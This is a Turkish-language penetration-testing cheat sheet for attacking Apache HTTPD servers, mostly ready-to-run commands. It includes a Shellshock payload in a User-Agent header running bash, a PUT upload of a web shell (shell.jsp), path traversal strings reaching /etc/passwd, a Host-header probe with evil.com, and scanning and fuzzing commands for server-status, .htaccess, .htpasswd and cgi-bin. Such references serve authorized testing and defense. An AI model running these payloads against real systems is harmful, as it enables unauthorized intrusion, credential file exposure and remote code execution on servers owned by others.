Apache
network http
Apache HTTPD hâlâ en yaygın web sunucularından. Sızıntı veren handler’lar, CGI, yanlış alias ve eski mod_cgi/mod_php kombinasyonları saldırı yüzeyi üretir.
Metodoloji
Section titled “Metodoloji”-
Sürüm, modül ve vhost haritasını çıkar.
-
server-status/server-info/.htaccess/ CGI yollarını tara. -
Path traversal, PUT, CGI RCE hipotezlerini doğrula.
-
Web root yazma veya LFI/RFI zincirine geç.
nmap -Pn -sV -p80,443 --script http-server-header,http-methods,http-enum TARGETcurl -skI https://TARGET/whatweb -a 3 https://TARGETcurl -sk https://TARGET/ -H 'Host: evil.com' | headBilgi sızıntısı
Section titled “Bilgi sızıntısı”curl -sk https://TARGET/server-statuscurl -sk https://TARGET/server-infocurl -sk https://TARGET/.htaccesscurl -sk https://TARGET/.htpasswdcurl -sk https://TARGET/icons/Content discovery
Section titled “Content discovery”ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Apache.fuzz.txt -mc 200,204,301,302,403ffuf -u https://TARGET/cgi-bin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/cgis.txt -mc 200,500nuclei -u https://TARGET -tags apacheMethods / PUT
Section titled “Methods / PUT”curl -sk -X OPTIONS https://TARGET/ -D -curl -sk -X PUT https://TARGET/shell.jsp --data-binary @shell.jspnmap -p80,443 --script http-put --script-args http-put.url='/test.txt',http-put.file=/tmp/test.txt TARGETCGI / Shellshock benzeri
Section titled “CGI / Shellshock benzeri”curl -sk https://TARGET/cgi-bin/status -H 'User-Agent: () { :; }; /bin/bash -c "id"'curl -sk 'https://TARGET/cgi-bin/test.cgi' --data 'x=1'Traversal / alias
Section titled “Traversal / alias”/icons/../../../../etc/passwd/cgi-bin/.%2e/.%2e/.%2e/etc/passwdffuf -u 'https://TARGET/FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mr 'root:'Checklist
Section titled “Checklist”[ ] Sürüm/modül/vhost[ ] status/info/htaccess[ ] cgi-bin ve methods[ ] PUT/CGI/traversal PoC[ ] Web root veya RCE kanıtı